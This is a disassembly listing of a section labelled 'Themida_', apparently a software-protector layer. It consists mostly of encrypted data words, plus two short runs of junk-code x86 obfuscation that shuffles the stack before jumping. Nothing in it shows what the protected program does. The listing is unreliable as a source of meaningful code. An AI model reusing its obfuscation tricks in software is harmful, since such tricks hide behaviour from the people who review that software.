0D0BCD121h dd 0D42F43C4h, 13649328h, 9438C003h, 90A752E6h, 57EC8252h dd 0D088D121h, 0D42F43C4h, 13649C87h, 9404C003h, 90A752E6h dd 57EC8D0Eh, 0D084D121h, 0D42F43C4h, 13649C60h, 9410C003h dd 90A752E6h, 57EC8C9Bh, 0D090D121h, 0D42F43C4h, 13649DFAh dd 941CC003h, 90A752E6h, 57EC8C19h, 0D0E8D121h, 0D42F43C4h dd 13649D7Ch, 9464C003h, 90A752E6h, 57EC8F87h, 0D0E0D121h dd 0B8C343C4h, 152A5012h, 0D24ECEDFh, 0FD4AA86Ch, 51A2458Ah dd 60C0D5F2h, 96A40B4Ch, 152AA8EDh, 2429458Ah, 96E367A0h dd 0D5ADBAB4h, 152A54A1h, 5564C6CBh, 0EAD5BA41h, 0AE63CE75h dd 5D33893Ah, 5342848Ch, 0EA2211ABh, 245D55FFh, 9C3AABA4h dd 0DAC3B9CFh, 0D7E3A8EDh, 0DAF74586h, 0E9EED744h, 59D7CEEAh dd 0D2262923h, 51A2B9CFh, 0AD6C54A8h, 51A24162h, 0BFEA6603h dd 0DB2FEE27h, 13649872h, 1129475h, 0CFA0D902h, 0AEA40B46h dd 51A1EC79h, 0DC0941AEh, 5BE68E22h, 3773BA8Ch, 732ADF10h dd 8B28C821h, 0EA2C1A64h, 152BFD5Bh, 9881508Ch, 1F6E9F00h dd 0A5FBABAEh, 2C89EFD2h, 0E957DDA4h, 0ADE7CEEBh, 15229661h dd 0D24ECEDFh, 0FD4AA86Ch, 51A2458Ah, 20C0D5F2h, 0DAA40B4Dh dd 68A15CDDh, 0ADE78286h, 152A54A8h, 9C30BACCh, 9E2C1CBBh dd 0FC69CE52h, 0A5B99783h, 0FA31EFE2h, 0CFA0D9F9h, 0AEA40B46h dd 949A0D79h, 551A2320h, 8481328Ch, 5DDF6E21h, 74D62921h dd 985E0001h, 402A5C6Ah, 9521A901h, 15C23454h, 0BA2458Ah dd 0D2A6BE29h, 242943C4h, 1957DFA0h, 515E004Dh, 532A54A8h dd 426FD775h, 0CDA152E0h, 0FC69CE19h, 0A5B9979Bh, 0FA31EFE2h dd 0CFA0D9F9h, 0AEA40B46h, 949A0D79h, 651A2320h, 8481328Ch dd 5DDF6E21h, 74D62921h, 985E0001h, 402A5C6Ah, 9521A901h dd 60A13454h, 5DDFCE82h, 15D6116Fh, 0FDA2458Ah, 1DC9953Bh dd 919197B9h, 38F2DE04h, 51A2454Ah, 1AD5A828h, 51A25E0Eh dd 1523EDA8h, 0A055458Ah, 9025862Dh, 51A24586h, 7332A328h dd 37AA8E4Bh, 0BE4C9723h, 0D8AE38A1h, 9E4BA8D5h, 936BB9CFh dd 9E7F54A0h, 0AD66C666h, 1D5FDFC8h, 96AE3801h, 152AA8EDh dd 0C20E458Ah, 2622B769h, 0FD627658h, 0D5078C22h, 0D1A2458Ah dd 9125AB54h, 51A24593h, 152A5D11h, 0D453B28Ah, 1FAF5B7Ah dd 0E0A2458Ah, 93E25610h, 9191EF4Bh, 19577F03h, 305E3803h dd 0DCD61123h, 4A24D48h, 0D1A9B823h, 24292576h, 1957DFA0h dd 515E004Dh, 0B92A54A8h, 0B2229D00h, 85E1D4A7h, 0DC088600h dd 5BE68E22h, 0E173BA8Ch, 9FA7FEF8h, 57EC8950h, 0D6A08557h dd 5DDF6E20h, 74D62921h, 985E0001h, 402A5C6Ah, 9521A901h dd 60A13454h, 5DDFCE82h, 15D6116Fh, 0E9A2458Ah, 152A54AFh dd 487FD775h, 452652E0h, 8B28C820h, 0EA2C1A64h, 0FB2BF55Bh dd 3186949Bh, 59622E85h, 0A58050ACh, 2C89EFAEh, 0E957DDA4h dd 0ADE7CEEBh, 15229661h, 0D24ECEDFh, 9E4AA86Ch, 2C294DFFh dd 0E96F93A4h, 51A2458Ah, 87D5FE04h, 57EA5647h, 17868C23h dd 0DB2FEF49h, 13649872h, 0E9C49475h, 0BE4CBD28h, 7A088600h dd 68A358D5h, 14292476h, 1DE89D54h, 0BD29108Ah, 75D6902Bh dd 0DAAA3001h, 50ED58D5h, 51A24576h, 0EA80F8A8h, 19B18818h dd 0B9E2DFAEh, 0DC088558h, 5BE68E32h, 3771BA8Ch, 73E39410h dd 0FB63CF21h, 9C262983h, 0DAC3B9F7h, 0D7E3A8EDh, 0DAF74582h dd 0E9EED744h, 59D7CEEAh, 0D2262923h, 51A2B9CFh, 0BF8654A8h dd 426FD775h, 0DDA152E0h, 0FB637726h, 0D9F0CE25h, 825D43C4h dd 0E4AAECCEh, 9028EEECh, 19577F02h, 305E3803h, 0DCD61123h dd 4A24D48h, 0D1A9B823h, 24292576h, 1957DFA0h, 515E004Dh dd 732A54A8h, 376B7732h, 0CFB0D903h, 0AEA40B46h, 9592327Bh dd 0FD09234Bh, 6801FE04h, 0ADDFCC86h, 0E96FDFC9h, 51AA8743h dd 96C6DFFDh, 0DAC2B94Eh, 68A15CDDh, 0ADE78286h, 152A54A8h dd 0B824FDECh, 8FA7FFCEh, 57EC8950h, 0A09A8757h, 0FB0E0320h dd 0D9F0CE25h, 825D43C4h, 0D8ACECCEh, 2C89EEECh, 0E957DDA4h dd 0ADE7CEEBh, 15229661h, 0D24ECEDFh, 0FD4AA86Ch, 51A2458Ah dd 48C0D5F2h, 96A40B40h, 152AA8EDh, 2429458Ah, 1957DFA0h dd 5E917926h, 152A1E2Ch, 5E89798Ah, 152A162Ch, 5ECA798Ah dd 152A492Ch, 5E13798Ah, 152A382Ch, 5EF2798Ah, 152A5C2Ah dd 5EFA798Ah, 152A6B2Ah, 51D6AC8Ah, 60D554A8h, 59D7BA86h dd 0D0B8CE25h, 0DCF143C4h, 5BEC3D32h, 0D871BA8Ch, 42C3A8EDh dd 0AEA2458Ah, 60D558DDh, 0F338C882h, 462C1A6Dh, 97CBDF07h dd 0C6D552E6h, 0B85E0003h, 152A5492h, 0AEAE3075h, 8FA75CDDh dd 57EC8024h, 7CB0D9FBh, 0AEA40B4Ch, 0E96FDD7Bh, 51A25863h dd 195FABA8h, 0DCAA3075h, 5BEFEE32h, 0CB2F168Ch, 136492C1h dd 142B9675h, 152ABD54h, 0DAC3458Ah, 0D7E3A8EDh, 44BA4582h dd 55000030h, 5E75FDEDh, 0A476F67Ah, 0BC56E669h, 57B0FD49h dd 7916FD20h, 6E57FD20h, 0E3B5FD20h, 26A7FD20h, 0C49DFD20h dd 0B47AFD20h, 0C5BFD20h, 5036FD20h, 797DFD20h, 6E4AFD20h dd 0E5AFFD20h, 2708FD20h, 0C5E9FD20h, 0B4CAFD20h, 0A76FD20h dd 57DAFD20h, 259DFD20h, 2295358Ah, 4A76D6A2h dd 0BD5CDE71h, 5A5CF44Bh, 2775FD7Ah, 9775F572h, 0CB74FD79h dd 0ED73FD78h, 0F374F57Dh, 7874FC7Bh, 0BC75FC7Bh, 5E75FD7Ah dd 0EB76FD7Ah, 6375A762h, 0CB75A762h, 0E475FD7Ah, 0F374FC7Bh dd 9074FC7Bh, 0BC75F8B2h, 1EF0701Ah, 0A673B3B5h, 0D9BE8AFFh dd 9DF0707Ch, 6C73B3B5h, 0BCBECAFFh, 0EDF0707Ch, 3573B3B5h dd 10BE8EFFh, 0DBF0707Ch, 1E73B3B4h, 85BEC6FFh, 56F0707Ch dd 7B73B3B4h, 37BEC2FFh, 0EDF0707Ch, 0D773B3B7h, 61BEBEFFh dd 0F4F0707Ch, 4273B3B7h, 0ABBEBAFFh, 8BF0707Ch, 0F073B3B7h dd 0F2BEB6FFh, 8AF0707Ch, 0A673B3B7h, 0D9BEAAFFh, 6BF0707Ch dd 6C73B3B7h, 0BCBEB2FFh, 0C6F0707Ch, 3573B3B7h, 10BEAEFFh dd 0FBF0707Ch, 1E73B3B7h, 85BEAAFFh, 0EBF0707Ch, 7B73B3B4h dd 37BE9AFFh, 91F0707Ch, 0D773B3B4h, 61BE96FFh, 0C7F0707Ch dd 4273B3B4h, 0ABBE92FFh, 6BF0707Ch, 0F073B3B4h, 0F2BEA6FFh dd 8EF0707Ch, 0A673B3B4h, 0D9BEA2FFh, 0A0F0707Ch, 6C73B3B5h dd 0BCBE9EFFh, 0B4F0767Ch, 3573B569h, 10BE4DFFh, 0F2F0767Ch dd 1E73B563h, 85BE49FFh, 0B0B69C7Ch, 0F29D11F1h, 2375FD7Ah dd 70B117FBh, 0D525FB34h, 0ADFDF53Fh, 913B36D5h, 0CFB73422h dd 0B723AC7Ah, 1A20AD29h, 7975FD7Ah, 59987C27h, 0A073B3B6h dd 61BECBFFh, 0A1C87D7Ch, 0CF73B3B1h, 0E4C5B409h, 0F9B54B75h dd 863589BAh, 0F2BE49EFh, 96FEBD7Ch, 2F7A452Bh, 28AFD7Ah dd 0CD3B36CEh, 2E4248F7h, 0C6F8FB34h, 4B9D50FCh, 0CF75FD7Eh dd 5E76456Fh, 0BA8AFD7Ah, 913B36CEh, 4248F7h, 0D1F8FB34h dd 228A50FCh, 87BC1F23h, 0F2BECBF7h, 52DA07Ch, 0EC2CA320h dd 97776D92h, 0C1CD4D7Ah, 708A5779h, 0F43B36CAh, 79D3ED1h dd 0DA75FD78h, 54CD9BC2h, 0D0DE9B59h, 0D9BE4DEFh, 8DE9B7Ch dd 0E5779592h, 0F3360B7Ah, 866E8872h, 0F2BE4DEFh, 54C54D7Ch dd 0BA8AAD79h, 913B36CAh, 2BF69B20h, 277E9B7Eh, 1AB6561Ch dd 7975FF6Bh, 0BE4E1529h, 652FFD7Ah, 0A57B89A0h, 94913D59h dd 7F5DF70h, 83FE4DBAh, 9D3ED1h, 2A75FD7Bh, 0BC77E192h dd 844EA77Ah, 49C5120Eh, 7FA916D0h, 0CB75FCA7h, 0ED74BE8Ch dd 1A26D30Fh, 7975FF7Bh, 0BD360B20h, 65548872h, 0A56889A0h dd 94913D59h, 7F5DF70h, 0B5FF4DBAh, 39C56885h, 1F2FFB34h dd 0DA51FD5Fh, 0F5133F71h, 85E94DB9h, 9774BD92h, 61F44D7Ah dd 0E5743592h, 0F22D157Ah, 91DEFD7Ah, 0BC75FC57h, 9DDF60CAh dd 0C7DF61CAh, 9775FC5Bh, 4A13451Ch, 439D561Ch, 1A75FD7Bh dd 7975FD4Ch, 0B69D561Ch, 0EE75FD7Bh, 9FB657E7h, 699D57E6h dd 2375FD7Ah, 0E575FCF3h, 0FA74BE8Ch, 0F9C5F20Fh, 0BC6515D0h dd 0DEDFFD7Ah, 487DF99Eh, 97AA1584h, 56C5FD7Ah, 0E2CD3ED0h dd 0D75FD7Ah, 37BE49EFh, 0C7C0707Ch, 5D73B3B1h, 2C7F518Ah dd 27E002D0h, 873B3B1h, 0E574E592h, 0F8254D7Ah, 4B9D5779h dd 548A0284h, 5E75FC43h, 2C7FA5CAh, 0C7C53ED0h, 61274DD0h dd 1A8BE192h, 0FDCD9B85h, 91DE9B4Bh, 438A036Bh, 0EEDFA7CAh dd 9FB65722h, 3C225792h, 0CB750C92h, 22FEA77Ah, 1AF63F51h dd 9177747Eh, 438A008Bh, 5E750592h, 252D4D7Ah, 69B65779h dd 85BED0FFh, 0C8C87D7Ch, 0F373B3B1h, 0FCF8EC0Fh, 0BA3B36E5h dd 5C61152Ah, 1B9DFD7Ah, 2775FD78h, 759D571Ah, 0D8A0287h dd 0D8A00C3h, 87DF9CCAh, 0F2BED0F7h, 73C87D7Ch, 2F73B3B1h dd 12F8F10Fh, 0CD3B36E5h, 0E4DE152Ah, 4AB6FD7Ah, 7975FD7Eh dd 77C16885h, 0C3F8FB34h, 293B3286h, 3D6DF9F0h, 619C4DB9h dd 8E9D562Dh, 0A875FD7Ah, 0BB5E3AF1h, 357115F9h, 0CB8A3E78h dd 293B36CAh, 96514ACEh, 74C1FF0Eh, 4E13F2CAh, 0F275C992h dd 279DAE7Ah, 0E675FD7Ah, 0BEB5FEF0h, 25B5F179h, 68B65778h dd 85BE4DEFh, 0EA917D7Ch, 42F539FAh, 2EDE9B75h, 415A15D1h dd 0D52F0285h, 0ACB7D6BDh, 95FCF992h, 0CB7345B9h, 708AFD7Ah dd 0F43B36CEh, 0B2E660F7h, 0A0F8FB34h, 4ECD3E39h, 0D075FD7Ah dd 0D9BE49EFh, 0CEB57E7Ch, 1A8935F1h, 0BCBE4DEFh, 8E97577Ch dd 43BE15B9h, 1DFF0285h, 5A72D97Bh, 7F76778Eh, 0CB75FC6Ch dd 1DB61608h, 0A7890883h, 0BDF611F1h, 0BC9D9D86h, 475FD7Ah dd 0FF7917FBh, 0EAFCFB34h, 64CF7D86h, 0E573B3B1h, 0F2EC7975h dd 73CDFD7Ah, 4375FD7Ah, 10BE49E8h, 0ADFCBD7Ch, 913B36C2h dd 79F835F1h, 0E33B2D9Ah, 39C56F85h, 7FFDFB34h, 4801F3Ch dd 5E75FD6Dh, 0E4CD7F79h, 1A35FB34h, 85A529E0h, 0E1B67E7Ch dd 4B22FEF3h, 7975FD64h, 77CD7779h, 0ECF8FB34h, 293B2DB8h dd 2F2B5989h, 0CB75FD72h, 2EC16F85h, 0AF6FB34h, 7185897Eh dd 0BC72447Ch, 5A7DFD7Ah, 0F7C3F24Bh, 2E761EBBh, 0CB75FD74h dd 5C44E172h, 0F275FD76h, 0C044F972h, 0BC75FD61h, 0E744F972h dd 2F75FD66h, 7F44F972h, 348A015Bh, 848980F3h, 3B8980F1h dd 7F9DADB9h, 9C75FD7Ah, 7A110222h, 6BFCA58Eh, 16E9055Eh dd 0B389D93Eh, 7867C92Ch, 0F2B6AD3Ah, 7975FD7Ah, 0BC75FD7Ah dd 0B2FEA87Ah, 2F75151Ah, 162FFD7Ah, 85A50E90h, 59CF707Ch dd 7973B3B1h, 71CCF50Fh, 4F75FD7Ah, 9CBC9CDEh, 0A226FD7Eh dd 0D9BE41E7h, 0D3497D7Ch, 0BE71887Bh, 0A9771683h, 0F2203E82h dd 0BC9D9D96h, 475FD7Ah, 0FE5917FBh, 25F8FB34h, 0CD3B36C6h dd 5C7D80F1h, 0F275FD72h, 0B0145989h, 0DC75F9B8h, 95C940F7h dd 0EF46FB34h, 9775F5C3h, 0AADF0E7Ah, 58F89DB9h, 0F43B36C6h dd 7874C2FBh, 0B000FC7Bh, 5F7182FBh, 5A74FC7Bh, 969E0479h dd 0ABB69C82h, 2EC940F7h, 0F3CDFB34h, 0C075FD7Ah, 0BC75FD72h dd 9D145789h, 0EFFE3DF1h, 5CBC78F7h, 0D08AFB34h, 2AE9CA8Bh dd 0C7000000h, 2404h, 0E80000h, 5D000000h, 0D1ACED81h dd 448B064Eh, 85890424h, 64806DDh, 0B8h, 648D8D00h, 0FF06484Bh dd 6754B8E1h, 16EB0000h, 5 dup(0) dd 3C00101h, 64E0000h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ah, 0E0C35141h, 0F4819096h, 9531D20Bh, 64813F9h dd 33BF6650h, 24048971h, 68D9589h, 6A0648h, 0B25FB966h dd 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h dd 52420000h, 5E22ABC3h, 0D31B858Dh, 6A064Eh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 140424h, 53430000h, 665016C3h dd 489D38Bh, 9E924h, 0E1090000h, 0E69C58C8h, 0E93F3AD5h dd 0Fh, 0B8CBC42Bh, 0FE144D2Ch, 8333C244h, 6A67DE1Dh, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h dd 851BD380h, 299D89BEh, 6A064828h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 81D5B0C5h dd 0C3B4F6E1h, 7D95FF02h, 8B064827h, 4800D59Dh, 4FEE906h dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h dd 55450000h, 0D71005C3h, 2519B21h, 0A0D958Bh db 48h, 6 word_5AA08A dw 0E8h ; DATA XREF: Themida_:0053D6F8o dd 5D000000h, 0D320ED81h, 6A064Eh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 160424h, 56460000h, 0B9852CC3h, 2CBD8529h dd 6A0648h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h dd 57470000h, 2C9142C3h, 6800Fh, 85310000h, 64809D5h, 1CB1BD8Bh dd 4E80648h, 0A0000000h, 0E800000Fh, 5, 7FDD7883h, 5BFE8B76h dd 24448B50h, 13E904h, 0D9BD0000h, 57148B9h, 0F83FEEFBh dd 4B3878Bh, 6EC867CEh, 0F008BB8h, 581h, 0FDD9BA00h, 4489783Dh dd 0BE90424h, 60000000h, 0DFC9A0FFh, 0A50DFE6Fh, 2958734Dh dd 481CBDB5h, 89858906h, 0FF064809h, 48306195h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h dd 991E9A51h, 0B58DD8C3h, 64ED1D1h, 1595BD23h, 6C70648h dd 6D676552h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 16h, 0B0C35141h, 0B531DB90h, 6482A99h, 6F0446C7h, 336C636Eh dd 4805E99Dh, 846C706h, 737361h, 6AEFF680h, 798D8B00h dd 8D064832h, 4ED1D185h, 0D08B6606h, 66525050h, 0F2092BAh dd 830F6031h, 0 dd 357BBB66h, 89585A61h, 0F602404h, 82h, 23B96600h, 95FF6156h dd 6481BA1h, 0AE8h, 83510A00h, 8616FCFBh, 60A044C4h, 1815B529h dd 5B500648h, 81605A61h, 4B214CCEh, 0CBFBBF1Dh, 0B611C72h dd 8840FC0h, 8A000000h, 2C1E9CCh, 68F50000h, 9DEE2EB7h dd 4815A56h, 11D27524h, 57006A62h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1404h, 0C3574700h, 0CB816683h, 95FF897Ch dd 6483061h, 47CBBF66h, 0D1D1B58Dh, 0BF0F064Eh, 3106C7D6h dd 0F8363438h, 370446C7h, 6A31342Dh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 3F35C357h dd 0B6A91539h, 46C7158Bh, 8, 6E900h, 0A4ED0000h, 0EDB39E16h dd 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h dd 50400000h, 0BD8BF9C3h, 648058Dh, 0D1858DF8h, 6A064ED1h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1B042444h dd 45000000h, 8FC5C355h, 0FEE006C8h, 0AE88E78h, 0E9000000h dd 1959FF0Fh, 67785D0Ah, 0CF8B6642h, 29BD895Bh, 60064821h dd 8B616060h, 480F398Dh, 9D0B6106h, 6482059h, 0BB669061h dd 66501BB1h, 90D08EBFh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 18h, 36C35141h, 1D3064Dh, 0FFCE8B66h, 481BA195h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h dd 0C3524200h, 0BF0F13BBh, 38A0FD0h, 80000000h, 0BB666AD6h dd 0C00BDCD8h, 8840Fh, 8B660000h, 151E9FEh, 75680000h dd 8A780ACFh, 243481F1h, 780ACE59h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Bh, 44C35242h, 71CFD53Dh, 667D52E2h dd 0FFAAC4BBh, 48306195h, 61950306h, 8D064821h, 4ED1D1B5h dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h dd 0C3574700h, 9856C18Ah, 0D2B70F85h, 694606C7h, 0C7F9656Ch dd 6F6D0446h, 8529636Eh, 6481595h, 6C0846C7h, 0E9737361h dd 0Ah, 69EBA836h, 0CE72B1Bh, 46C7BCFFh, 0Ch, 6AF900h dd 0D8B70F60h, 0BE8h, 0BD960700h, 793EC9B1h, 96D75FDFh dd 2A51B58Bh, 615F0648h, 0D1D1858Dh, 0FB8B064Eh, 5810F50h dd 0BF000000h, 27A2516Fh, 0B240489h, 48097995h, 0A195FF06h dd 0E806481Bh, 8, 6E764B01h, 9652051Eh, 9E957h, 4F660000h dd 0C142B4Ah, 5F9736FAh, 0FC00B5Bh, 4484h, 0FE900h, 23560000h dd 26E5C42Dh, 71C66537h, 0E9DCB85Bh, 35E9A0h, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h dd 824DFAC3h, 563873Bh, 9AE41C5h, 480F2585h, 0FB9CE906h dd 8B66FFFFh, 8D6160D7h, 486F77B5h, 89950106h, 0B8064822h dd 0 dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 5CC35141h dd 8BCABF0Fh, 481EA98Dh, 6AE6FF06h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 0F705C357h dd 59BF37B0h, 8D89E359h, 64832F5h, 68F0Fh, 9D310000h, 648154Dh dd 0C7E9C18Bh, 89000000h, 8CCD87D3h, 8ACB85D1h, 91D28AD6h dd 8ECF89D5h, 0B4A38DD9h, 82CE890Eh, 84D089DAh, 8CD88BCCh dd 93DFF3A4h, 0E5E935A9h, 56158A71h, 811E20C3h, 690E1965h dd 3CC6E23Bh, 9A1D9AC4h, 0BB07DF80h, 0A4BCE581h, 0AFA2A2D6h dd 792779A0h, 3AB038Eh, 9BDD9D28h, 1FFB99FBh, 3A069E53h dd 0C7C16B0h, 0F8FA4F84h, 7E4F41B7h, 4F8670C6h, 0D7233720h dd 0FA19F54Ch, 19h, 7CC885B6h, 1D868CB2h, 0E1FC3BC6h, 38216A95h dd 0DF2B3E21h, 631FD64h, 1F6B815Ch, 135F7324h, 28746718h dd 1D69801Fh, 0E5A7522h, 216D6215h, 115D7926h, 236F6916h dd 125E7728h, 0F8687419h, 0E9064ED7h, 0FFF9A4A3h, 463D6729h dd 0AFB8AEEAh, 3064ED8h, 13E8C5h, 2FAA0000h, 0BCF3387Ah dd 8AF10547h, 7F76BAF4h, 8905CF29h, 11E952h, 0E290000h dd 0E6104E24h, 0BAFF1AC1h, 4EA70CCFh, 58B41DF1h, 19B98589h dd 0C0810648h, 5CF8h, 14E9h, 3A870C00h, 0F2BDB1C9h, 0B341F020h dd 0CA3FF01Eh, 8A5521C9h, 0BE70h, 8B660000h, 303C8BCBh dd 81DF8B66h, 779EB9EFh, 0A3E28116h, 8116339Dh, 0B4EF2BEFh dd 810F605Eh, 15h, 10E9h, 0A90E9400h, 0CF541359h, 0FF7C7386h dd 0F78CB5ACh, 0EF816131h, 2719C71Dh, 8974CB80h, 0B966303Ch dd 8589F352h, 6480F29h, 0B3DAEE81h, 8D8B57D6h, 648209Dh dd 0B3D6C681h, 952B57D6h, 6481D99h, 0A3D0FE81h, 850FFFFFh dd 0FFFFFF91h, 485BD89h, 4EB0648h, 229430BDh, 516E9h, 0C10DDF00h dd 0C30FC697h, 0C410C899h, 0C713CB8Ch, 0C713CC8Dh, 0C3488E8Dh dd 0C798C00Ch, 0CD8EC612h, 0D192CA16h, 6F63CD19h, 8C2F1F2Bh dd 0E6FD5615h, 1D6981DCh, 495A7522h, 0C6B31185h, 25FC234Fh dd 91466F2Bh, 0B27FA45h, 0D34C984Ah, 0E962AEA4h, 0D8539FB6h dd 6EE32278h, 0EB14307Ch, 9DA7E8A9h, 0BD919DF0h, 539FB8A1h dd 0B8A571D8h, 0BCDD57A3h, 94ED5BA7h, 1FBD28BFh, 90191DDEh dd 969EE19h, 97E3F669h, 0C19AC27Bh, 9FC05AA6h, 81027CCAh dd 0F9FEF900h, 0DE479346h, 764D2365h, 0B69EEA01h, 0A6A1EDE5h dd 0C707950Eh, 8043714Fh, 0F169750Ah, 610E54h, 95C60000h dd 0A0A670BCh, 2C785586h, 53040EF3h, 5CF8337Fh, 4FC6B2E8h dd 9B11F422h, 54F11608h, 0B3AB8CB0h, 0E785DC67h, 4FC6A777h dd 6FC05AB5h, 1, 18648107h, 8549750Fh, 4FC6B311h, 0B557B720h dd 5DC5F0C5h, 0EEE778C2h, 0E0F6A9A2h, 67BD8B94h, 0D21E37ACh dd 408C4576h, 294162F6h dword_5AA824 dd 810973DDh, 6E111A66h, 51202B77h, 0B3FFD203h, 9D12F167h ; DATA XREF: Themida_:0053E238o dd 9DBE76C2h, 91AE79C5h, 0A5C08BD7h, 0B3E056ADh, 0D054F113h dd 5Bh, 1A668166h, 2E7A6E11h, 6BD13F5h, 5EAAA596h, 7DB7CE5h dd 7D9970BBh, 81BB07E0h, 70BB07E0h, 80CB17CFh, 0A016EDE5h dd 54F113F3h, 4990h, 66812600h, 0FE499550h, 1649022Bh dd 26183445h, 64FC6B3h, 7566022Bh, 2F120D59h, 784E5AE3h dd 0E32F289Dh, 2F7B5485h, 81116BE3h, 7775364h, 254FC6B3h dd 8C28230Ah, 4FC6B317h, 8C02C1EFh, 54F115F7h, 18Ch, 67812200h dd 7B6F101Bh, 1E34F42Fh, 485E72E7h, 125E788Eh, 30D930FBh dd 2F0F3108h, 0D237F03Ch, 202B7771h, 5384E049h, 0EE606C7Dh dd 3E4FC6B2h, 0D9E14AE3h, 8881D78Ah, 0A1ADB581h, 498F886Ah dd 0B905DDFEh, 0A97F9B6Eh, 0CAE2CC84h, 859DD59Fh, 35308314h dd 0F730D930h, 472D344Dh, 0CFAECF2Bh, 0F4401243h, 2437203Ch dd 49213ED8h, 322A42FDh, 40560F57h, 2436AB6Ah, 2B3F60D8h dd 1F3364DFh, 2F2758D3h, 233768E3h, 461C4CD7h, 0ED45E48Fh dd 7DC9A116h, 0B9FE81D3h, 0A1BA5B39h, 74B17DC9h, 15Eh dd 46381428h, 0E3560F4Bh, 8888E18Ah, 7DA28849h, 8799B39Bh dd 949E8798h, 9E95BAAh, 3D2B024Eh, 8EB8F631h, 3E092849h dd 53FD4921h, 3B045002h, 0D7233821h, 32481A3Bh, 0EB54CF1Bh dd 6AFFB301h, 6AC36A26h, 5DA9BEE1h, 4E9AB5E2h, 0E71E74D5h dd 3E95ED3Ch, 8BC511C9h, 3941B6C9h, 56CD5Bh, 5B610000h dd 5D71CF05h, 4FC6B2B9h, 49954AFBh, 3E8A61FEh, 1C051C05h dd 0B3158923h, 0C9F54FC6h, 0BF0BC4F5h, 0DFCF9D84h, 4D4FC6B3h dd 13F268B2h, 90ACE478h, 87D38BACh, 0B39FBFABh, 728D4FC6h dd 0B857CAh, 0F8090000h, 3FA93FABh, 767A4Bh, 344FC6BBh dd 64DA34CDh, 20965A86h, 144FC6B3h, 2E0E21EDh, 5A112A16h dd 0B3118549h, 0FC234FC6h, 7D510925h, 498EB902h, 2552CD34h dd 16EDDF2Dh, 151315EBh, 46DF2B22h, 47954D0Eh, 278A378Ch dd 62FE275Fh, 18135F79h, 5460E531h, 560FA69Dh, 0E358BB11h dd 0B1FDD9EFh, 0B9B09376h, 0D59C946Dh, 0DBEF4D63h, 4FD16000h dd 0E5F50E2Eh, 5C50E351h, 0A9920450h, 0D74FCDh, 70966BB4h dd 95AF7891h, 0A9B1A5A9h, 9C834FCDh, 0C10DC592h, 9DBECA86h dd 68B4AAC0h, 0A8A38ADFh, 20E375C1h, 0BF9DB385h, 8F6250ABh dd 3923FE49h, 47934C6Dh, 0E95B51EBh, 0B34C420Eh, 38154FC6h dd 12FB16ECh, 3AADCD36h, 0ADEFADABh, 0F9E5F961h, 0C71681F5h dd 0FB4AB34Fh, 4B04F949h, 59111D04h, 4988737Ah, 0A5D24DB4h dd 0A6F761ADh, 0E0FC68B4h, 15849A0Ch, 9B779A56h, 2F100AA2h dd 9851716Bh, 0F1D3C387h, 0BE61725Ah, 0A4BBDC67h, 2359CF58h dd 7DD335E0h, 0E9E5D646h, 0EC4919Dh, 11C99AC2h, 859CE8FBh dd 75C19DBAh, 2DE87EAAh, 0DE56A2B8h, 0DCD29EC2h, 50725AF1h dd 0E2F865B1h, 0C033C294h, 128F628h, 8D746h, 0B0890000h dd 75CF6BB7h, 6B811763h, 5F73241Fh, 74671813h, 69801F28h dd 5A75221Dh, 6D62150Eh, 5D792621h, 6F691611h, 5E772823h dd 51741912h, 0C181E189h, 4, 8704E983h, 248B240Ch, 4EC8324h db 89h, 14h, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ecx push 576Ch mov [esp], ecx push 0B8230B7h pop ecx shl ecx, 3 shl ecx, 5 add ecx, 841E22A2h mov edx, ecx pop ecx push 6073h mov [esp], esp add dword ptr [esp], 4 pop ecx push 1CBDh mov [esp], eax mov eax, 8 add eax, ecx mov [eax], edx pop eax mov ecx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp mov edx, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp jmp loc_544ACB ; --------------------------------------------------------------------------- db 0B5h dd 0B8622899h, 64EDE1Ch, 0E0FFC503h, 6B889F52h, 41CCC827h dd 0C577937h, 244CD2ACh, 0EEE10ADh, 21F35979h, 32F4A8ACh dd 6109D26Fh, 75C46345h, 2D8F9971h, 3DAEF418h, 0B97E564h dd 12FA5DB8h, 53B07E1Fh, 0EA8685Eh, 11A130A3h, 6F39A9EBh dd 2BD4809Ah, 4378D710h, 4FA23B52h, 6D3C1CF3h, 26036C5Eh dd 6D0BBC2Fh, 3A3A482Eh, 481C1E1Dh, 1B7AABDBh, 72F5FB5h dd 31795961h, 5D2F4EF2h, 748573BCh, 784739D4h, 0C85704EBh dd 0AAE9436Ch, 6800000Dh, 64EE160h, 0F99E0AE9h, 0E25668FFh dd 0E9064Eh, 68FFF99Eh, 64EE31Ch, 0F99DF6E9h, 0E3C768FFh dd 0ECE9064Eh, 68FFF99Dh, 64EE72Ah, 0F99DE2E9h, 0EA8768FFh dd 0D8E9064Eh, 68FFF99Dh, 64EEB6Dh, 0F99DCEE9h, 95E1F3FFh dd 